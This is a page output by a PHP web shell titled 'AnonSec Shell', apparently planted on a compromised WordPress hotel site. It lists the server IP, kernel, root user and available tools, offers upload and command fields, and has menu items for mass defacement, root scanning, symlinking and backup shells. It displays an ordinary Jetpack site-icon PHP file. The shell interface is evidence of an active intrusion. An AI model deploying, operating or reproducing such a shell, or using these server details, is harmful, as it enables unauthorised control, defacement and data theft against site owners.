AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/wp-content/plugins/jetpack/modules/site-icon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/wp-content/plugins/jetpack/modules//site-icon/site-icon-functions.php
<?php
/**
 * Provides the jetpack_site_icon_url function is not available.
 *
 * @package automattic/jetpack
 */

if ( ! function_exists( 'jetpack_site_icon_url' ) ) :
	/**
	 * Returns the Jetpack Site Icon URL.
	 *
	 * @param null|int     $blog_id Blog ID.
	 * @param string       $size Site icon size in pixels.
	 * @param string|false $default Default to use. If false and `SITE_ICON_DEFAULT_URL` is defined, that will be used.
	 *
	 * @return false|string URL of site icon, or false if none.
	 */
	function jetpack_site_icon_url( $blog_id = null, $size = '512', $default = false ) {
		$url = '';
		if ( ! is_int( $blog_id ) ) {
			$blog_id = get_current_blog_id();
		}
		if ( function_exists( 'get_blog_option' ) ) {
			$site_icon_id = get_blog_option( $blog_id, 'jetpack_site_icon_id' );
		} else {
			$site_icon_id = Jetpack_Options::get_option( 'site_icon_id' );
		}
		if ( ! $site_icon_id ) {
			if ( false === $default && defined( 'SITE_ICON_DEFAULT_URL' ) ) {
				// @phan-suppress-next-line PhanUndeclaredConstant -- Checked above. See also https://github.com/phan/phan/issues/1204.
				$url = SITE_ICON_DEFAULT_URL;
			} else {
				$url = $default;
			}
		} else {
			if ( $size >= 512 ) {
				$size_data = 'full';
			} else {
				$size_data = array( $size, $size );
			}
			$url_data = wp_get_attachment_image_src( $site_icon_id, $size_data );
			$url      = $url_data[0];
		}
		return $url;
	}
endif;

Anon7 - 2022
AnonSec Team